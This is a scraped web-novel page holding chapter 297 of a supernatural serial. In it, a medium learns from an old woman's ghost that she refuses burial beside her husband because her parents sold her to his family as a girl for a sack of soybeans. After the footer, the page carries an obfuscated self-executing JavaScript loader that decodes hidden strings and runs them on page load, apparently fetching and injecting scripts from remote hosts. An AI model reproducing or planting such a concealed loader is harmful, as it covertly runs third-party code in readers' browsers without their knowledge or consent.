首页
第297章 别把我和他埋在一
返回
关灯 护眼:关 字号:小

第297章 别把我和他埋在一起

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    几个抬棺人从来没有遇到过这麽奇怪的事情,表情越发的惊恐。
    下一秒几人对视一眼,齐刷刷的丢下手里的东西,连声道:“这棺我们不抬了,钱我们也不要了,你自己去找别人吧!”
    “就是就是,这事和我们没关系,你可别找我们啊!”
    几人说着还赶紧对棺材里死去的老太太又拜又求饶的,生怕里面的“人”会怪罪他们,拜完之後还用一言难尽的眼神看了周立民一眼,接着掉头就跑了。
    周立民直接傻眼了,後面的亲戚邻居们也震惊了。
    这怎麽还有抬棺材抬到半路不干的?
    这种时候发生这种事情,自然是谁都不愿意看到的。
    周立民简直气得快要打人,可他也不想在母亲下葬这天闹出一些不好的事情,只能先把这怒火压在心里,赶忙叫了村里的男人来帮忙抬,他自己也准备抬。
    村里的人刚刚排在後面走,只听到周立民和抬棺人之间似乎发生了什麽争执,却不清楚具体的事情。
    这会看到抬棺人跑了,自然是义愤填膺,赶忙跑过来帮周立民。
    结果几个人依次站好准备抬,就发现肩膀上的棺材重如千斤,他们愣是连吃奶的劲都使出来了,也没办法撼动棺材分毫。
    联想到刚刚抬棺人们离开时奇怪的表情,这下村里人也逐渐回过味来了。
    这,该不会是周立民他老妈的死有问题吧!
    棺材抬不动,无论多少人一块来抬都不行,下葬这事自然也只能暂停。
    村里几个老人知道这事之後,最终都神色凝重的看着周立民,然後让他去请大师。
    哪怕周立民哭着解释他妈的死和他没关系,他也没有虐待过她老人家,让她含恨而终,可事实摆在眼前,下葬的过程出事,肯定是有原因的啊。
    最後周立民只能抓紧时间到处打听,村里的人也帮忙找人,就找到林熙这来了。
    “大师啊,我对天发誓,我绝对没有做过对我妈不孝顺的事情!我妈临走之前也没对我说过有什麽放不下的心愿啊,我是真不知道这到底是怎麽了!”
    因为他妈无法顺利下葬的事情,这两天村里人看他和他妻子的眼神都开始不对劲了,好像他们真的背着人对他妈做了什麽大不敬的事情似的。
    周立民简直有苦难言,这会只能将林熙当成唯一的救命稻草了。
    好在林熙看了周立民一眼,从他面相看,得知他并不是那种忤逆不孝的人。
    所以他母亲的事情应该和他关系不大。
    但下葬途中发生这种事情,也确实不正常。
    正如周立民所知的传言那般,要麽是逝䭾受了冤屈,不肯下葬,要麽就是有遗憾未了,不愿离去。
    总之无论如何,都得去现场看看才知道。
    周立民一听林熙愿意去看看,自然是连忙起身带路。
    他自己开了车来的,就停在路边,等到林熙上车之後便一路往家里开去。
    而林熙在车上的时候还抽空给钱多金发了条消息,让他晚上也带着张赫金,她临时有事要出门,晚上不一定回来。
    这种小事钱多金当然能处理好,给了林熙一个让她安心去的回复,就拉着张赫金去别的地方逛了。
    一个小时后,林熙来到了周立民家所在的村子。
    到达村子的时候已经是下午五点多,远远的,林熙便看到村子某座山脚下有一群人在那站着,人群附近还停着一副棺材。
    那应该就是周立民母亲的棺材了。
    果不其然,周立民下车后直接带着林熙往那边走,一边走还一边向林熙说了一下现在的情况。
    因为他妈的棺材搬不动,所以只能暂时停在远处。
    但这期间他们又担心发生什麽事情,所以便请人在附近守着。
    白天的时候其馀人倒是没那麽害怕,所以便由一些亲戚和乡亲们帮忙照看着,周立民等人则去找大师。
    而晚上的时候,其他人自然是不敢再继续待在棺材附近了,就只能由周立民等人去守着。
    还好现在晚上天气不冷,在外面守着除了担惊受怕之外,倒是不会出什麽事。
    但尽管如此,想到这些诡异的事情,周立民他们每天晚上都还是怕得不行,有一点风吹草动都能吓得跳起来。
    现在周立民只能祈祷林熙能够让他们结束这种煎熬。
    两人很快来到周立民母亲的棺材前。
    此刻棺材上的棺盖依旧歪盖着,却因为只斜了一小部分,所以并不能看清里面的情况。
    林熙没有立即开棺检查,而是围着棺材转了一圈,确定整个棺材没有任何煞气只有阴气,才断定周立民的母亲并非死於非命,而是单纯的遗愿未了。
    如果对方是死於非命的话,别说是棺材里了,就连棺材外都会渗漏出浓烈的煞气来,以此向世人诉说自己的冤屈。
    现在确定了棺材外并没有煞气,林熙便决定开棺了。
    因为此刻老太太的鬼魂就躲在棺材里。
    她为什麽不愿下葬,有什麽遗愿未了,只能当面找她问清楚了。
    下一秒,林熙掌心汇聚一股灵力,手掌落在棺盖上,接着轻轻一推,那数个青壮年都无法推动的棺材盖,就这麽被推开了。
    旁边的周立民直接看呆了!
    他看了看林熙白皙纤细的手,再看看他们一群大男人都推不动的棺盖,开始怀疑起了人生。
    棺盖推开后,林熙低头看了一眼棺材里面的情况。
    一个脸色青白的老太太闭着眼睛躺在里面,那是老太太的尸骨。
    而除了她的尸骨之外,还有一道和她一模一样的鬼魂也躺在棺材里。
    看到林熙,老太太的鬼魂有些惊讶,有些紧张的问道。
    “你是谁?”
    林熙没回答她这个问题,只问她:“既然已经身死,为什麽不老实下葬?”
    老太太一听,顿时反应过来林熙是儿子他们找来解决“沉棺”这件事的大师。
    意识到林熙的身份,老太太倒是没那麽紧张了,反而还有一种“终於等到了”的感觉。
    她松了一口气,语气平和的对林熙道:“大师,既然你来了,那就麻烦你转告我的儿女们,我不想和他们父亲葬在一起,让他们重新找个地方把我埋了吧。”
    所以这就是她不愿意下葬的原因。
    她不想和周立民的父亲葬在一起?
    林熙看了她一眼,确认她的心愿确实如此,便转身看向旁边的周立民,然後将他母亲的话原封不动的转述给了他。
    周立民听后猛地瞪大眼睛,难以置通道。
    “大,大师,你说我妈她,她是因为不想和我爸埋在一起,所以才不愿意下葬的?!”
    这怎麽可能啊!
    他爸虽然死得早,但是在他的印象中,父母两人的感情一直挺好的啊。
    周立民是兄弟姐妹几个里年纪最大的,父亲去世的时候他已经八岁,记事了。
    在他的记忆中,父亲和母亲的感情虽然不是轰轰烈烈的爱情,却相濡以沫,彼此间互相照应,从未有过矛盾。
    只是他父亲身体不好,早早地去世了,只能留下他妈一人把他们兄妹几人辛苦拉扯大。
    他父亲活着的时候,他妈都没和他闹过什麽矛盾,总不可能死了之後还和他爸置气吧?
    所以周立民根本不相信他妈会因为这个原因不愿意下葬。
    至於把母亲埋葬在父亲坟墓旁边这事,也是他们兄妹几人一块做的决定。
    他们想起这麽多年母亲一个人含辛茹苦的照顾他们,也没和父亲有太多的相处时间,便想着说现在他们俩都去了,埋在一块还能彼此有个照应。
    如果人死後真的有鬼魂的话,两人说不定还能再续前缘。
    他们之前还以为这个决定会让母亲九泉之下感到欣慰。
    可现在.....他们这样做岂不是还弄巧成拙?
    周立民苦着一张脸开口。
    “大师,我绝对没有怀疑你的意思,我就是,就是真的不敢相信啊,这怎麽可能嘛!”
    见他这样,林熙看了一眼天色,太阳已经下山,乾脆直接给周立民开了阴阳眼,让他自己去和他妈沟通。
    开了阴阳眼之後,周立民一眼就看到了睁着眼睛的母亲,吓了一大跳!
    他揉了揉眼睛,再一看,发现母亲没诈尸,睁着眼睛的是她的鬼魂,这才小小的松了一口气。
    到底是自己的母亲,虽然现在变成了鬼,周立民也没有多害怕。
    只是想到刚刚林熙说的话,周立民立刻问道:“妈,你到底因为什麽原因不想下葬啊,你就说实话吧,我们一定会帮你完成心愿的!你和我爸感情那麽好,绝对不可能是——!”
    他的话还没说完,就见老太太忽然冷笑起来。
    “你哪只眼睛看到我和他感情好了?!”
    周立民愣住,讷讷回应道。
    “可是你们以前从来没有吵过架......”
    老太太一时间都不知道该骂自己儿子蠢笨,还是该夸他天真。
    没吵过架就能代表感情好吗?
    这世上或许确实有夫妻感情恩爱,可以一辈子不吵架。
    但还有一种,那就是对某人心灰意冷,所以不想吵架。
    见周立民还没反应过来,老太太只是淡淡一笑。
    “知道为什麽这麽多年我从来没有带你们回去见过外公外婆吗?”
    周立民下意识道:“您不是说您老家那边早就没人了吗,外公外婆都去世了,所以没必要回去。”
    周立民小的时候也好奇过这事。
    因为周围别的小朋友都有外公外婆,就他们兄妹几个,从来没有见过外公外婆。
    出於好奇,他自然也问过母亲这个问题。
    当时母亲给出的答案是外公外婆家很远,而且他们已经去世了,去了也见不到什麽人。
    自那之後周立民便没再问过这个问题。
    现在听母亲这麽说,才意识到难道这其中有什麽内幕?
    正当他思考的时候,便听母亲的声音幽幽传来。
    “因为我恨他们......”
    周立民瞳孔猛地一缩,显然没有料到真正的原因会是这样。
    接着,他便听到母亲缓缓将当年的事情讲了出来。
    周立民的母亲名叫廖玉兰,出生在隔壁省。
    以前她告诉周立民几个孩子说她老家是遥远的北方,其实是骗他们的。
    之所以这样说,完全是因为她已经和父母没了关系,也不想再提起这件伤心事,所以才骗了孩子们。
    她在十五岁的时候,就被父母用一袋黄豆,“换”给了周立民的父亲,周大川。
    那时才历经了几年天灾,家家户户都没有太多存粮,像是家里人口多的,依旧是吃了上顿没下顿,勒紧裤腰带生活。
    廖玉兰家里的情况更为艰难。
    她爹娘生了五个孩子,上面还有爷爷奶奶,一家九口人就靠着几块贫瘠的土地为生,哪里吃得饱。
    几乎每天晚上,全家人都是靠喝水把肚子填饱,然後强行让自己睡下的。
    可半夜起来上了趟茅厕,那点水没了,就又开始饿肚子了。
    半夜廖家传来的不是肚子发出的咕咕声,就是弟弟妹妹们喊饿的哭声。
    廖玉兰作为家里除了父母之外最大的劳动力,不仅要照顾爷爷奶奶弟弟妹妹,还要打理家里的一切,然後去翻山越岭的挖野菜丶找吃的。
    她把能找到的吃的都带了回来,哪怕是一个树上的野果都舍不得自己吃,带回家打算和全家人一块分享。
    可她这样努力的为家里着想,却没有换来父母对她的怜惜,也没有换来弟弟妹妹对她的感激。
    在家里最後一点粮食耗光的那天晚上,廖玉兰将最後一口带米的稀饭盛给了爹娘,而她自己则舀了一口清得能照人的米汤。
    这一口米汤她当然吃不饱。
    但她更清楚,爹娘每天要乾重活,他们比她更需要吃饱。
    她饿着就饿着吧,大不了明天再跑远一点,去别的山上碰碰运气。
    可她没想到的是,那顿饭竟然是她在家里吃的最後一顿饭。
    吃饭的时候,她感觉到爹娘朝自己看了几眼,眼神里似乎写满了欲言又止。
    但当时的廖玉兰并没有意识到什麽,还以为爹娘看到她碗里的清水了,下意识抬高了碗,避开他们的视线,不想让他们愧疚。
    吃过饭後,她去把碗洗了,然後和往常一样去把弟弟妹妹哄睡着了。
    就在她自己也打算睡下的时候,她娘红着眼睛进来了。
    站在门口看了她好一会,才猛地踏进来,在她疑惑的目光中快速把她唯二的两身衣裳装好,然後一把把她拉到了门外。
    廖玉兰当时只觉得一脸茫然。
    被她娘拉到门外之後,发现门口还站着她爹。
    除此之外,还有两个她从未见过的陌生男人,一个年纪大点,可能三四十岁,一个年纪小点,十九二十岁的样子。
    她爹正在和那两人说着什麽,满脸的讨好和堆笑。
    而两个男人则像是打量货物一般看了她一会,才对她爹道:“一袋黄豆,换不换?”
    廖玉兰彷佛意识到了什麽,猛地看向身旁的娘。
    可她娘却在那一刻避开了她的视线。
    一瞬间,廖玉兰心中的恐惧到达了巅峰。
    她一把挣开母亲的手臂,转身就要往屋子里跑,却被她娘再次拉住。
    廖玉兰跑不了,只能扑通一声跪在地上,紧紧地抱着她娘的腿,哭着哀求道。
    “娘,我不走,我不走!我明天就去找吃的,我一定可以找到吃的,不会让你们挨饿的,不要送我走,不要!”
    看到她哭,她娘也哭了。
    她说:“大丫啊,是爹娘对不住你,可家里实在是过不下去了,你就行行好,救救咱们一家子吧!”
    “爹娘已经打听过了,周家有吃的,他们不会饿着你的,以後你在那边好好过日子,他们会对你好的!”
    “是我和你爹没用,是我们对不住你啊!”
    她娘狠心的扒开她的手,将廖玉兰拉起来,然後推到了周家父子俩面前。
    廖玉兰还想往回跑,却听她爹黑着脸沉声喝道。
    “家里现在什麽样你还不知道吗!全家人都快要饿死了,你就这麽狠心,想眼睁睁的看着我们饿死?!”
    “现在又不是让你去送死,只是让你提前嫁人,你早晚都要嫁人,现在嫁过去还能救我们一家子的命,这种好事别人求都求不来,你还在那闹什麽闹!”
    “你这条命本来就是我和你娘给你的,我们把你拉扯这麽大,也到了你孝敬我们的时候。把衣裳拿着,跟他们走吧,你就算不去,这个家里也不会让你留下来了。”
    那番话彻彻底底的让廖玉兰愣住了。
    她浑身僵硬的站在原地,看着眼前的爹娘,只在他们眼里看到了无奈和冷漠,不见一丝不舍。
    而且周家人在他们家里最後一点粮食吃光的时候上门来,绝对不可能是临时起意,显然是爹娘早就盘算好了,这个时候他们过来,家里一点馀粮都没有,她连想反驳的理由都找不到。
    她不去周家,不换来这袋粮食,他们家所有人都要活生生饿死。
    她要是不去,她就是那个千古罪人!
    廖玉兰哭着哭着就笑了。
    她没有再抵抗,只是对眼前的爹娘说了一句话。
    “你们拿了这袋粮食,就当我还了你们的生育之恩,以後我只当没有你们这对爹娘,你们也当没有我这个女儿!你们要是答应了,我现在就走。”
    她爹娘一听,顿时犹豫了起来。
    显然是没有真的想要和她断绝关系。
    可是廖玉兰心意已决,他们又担心不答应的话,她到时候会闹得鱼死网破。
    最後两人只能狠心点头,表示以後绝对不会再去找她。
    廖玉兰看他们真的点头了,心里最後的一丝希望也破灭了。
    她连那两身衣裳都没有,直接站到了周家人身後。
    而她的爹娘,也如愿以偿的得到了那袋黄豆。
    被亲生爹娘用一袋黄豆“换”了出去,廖玉兰心如死灰的和周家人走了。
    她那时才十五岁,没有粮食没有钱,离开家之後只有饿死的命,她想活下去,只能去周家。
    她恨无情的爹娘,也恨作为“买家”的周家人。
    但她也很清楚,自己以後要在周家生活,就只能放下对周家人的恨意。
    只是这话说起来容易,做起来难。
    周家人把她带回家之後,并没有把她当成真正的儿媳妇对待,她在周家要乾的活并不比在娘家的少。
    不仅如此,周大川的娘,也就是她的婆婆,也对她各种磋磨。
    白天让她下地干活,回到家所有的家务也必须让她去做,心情不好了,还会对着廖玉兰破口大骂外加动手打她,将她所有的不爽与怒火都发泄在廖玉兰身上。
    廖玉兰恨吗?
    当然恨。
    可她除了恨之外根本没有其他办法。
    她无处可去,她只能待在周家。
    而周大川,则只会在旁边看着,什麽话都不说,好像她不是他未来的媳妇一样。
    在这样的压迫之下,廖玉兰忍了不知道多少年。
    最後终於忍到了周大川的爹娘去世。
    而那时她已经有了三个孩子,最大的儿子周立民都已经三岁了,最小的还没出生。
    周大川爹娘去世后,廖玉兰才终於过上了人过的日子。
    她知道周大川是个不顶用的,他是没有打过骂过她,可他也从来没有体谅和怜惜过她。
    他只知道躲在父母身後看着她被打被骂,像个无辜的旁观者。
    但他心里也很清楚,自己根本没有尽到一个做丈夫的责任,所以後来他连一句重话都不敢和廖玉兰说,有什麽事情都抢着做,像是想要弥补什麽似的。
    可廖玉兰已经不需要他做什麽了。
    至於没了周大川父母的看管她为什麽不跑?
    她凭什麽要跑!
    现在没了周大川父母磋磨她,她也能踏踏实实过日子了,更没必要跑了。
    於是後来她便和周大川过上了搭夥过日子的生活。
    她没有抱怨过周大川,因为他就算再可恨,也给了她容身之处。
    可她却没办法真正的接纳他,不单单是因为她和他的结婚牵扯到她的伤心事,还因为这些年她被他父母刁磨的时候他对自己的不管不顾。
    她根本做不到把他当丈夫看待。
    後来周大川没过几年就死了,廖玉兰才真正的过上了舒心的日子。
    虽然她要一个人拉扯三个孩子,又要照顾地里的活,在其他人看来是分身乏术,忙得跟陀螺一样。
    可只有她自己知道,这个时候的苦,苦的只是身体,她的心却感到了前所未有的轻松和自在。
    (周末快乐,想要一些用爱发电小礼物可以吗(′?ω?`)谢谢宝宝们
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();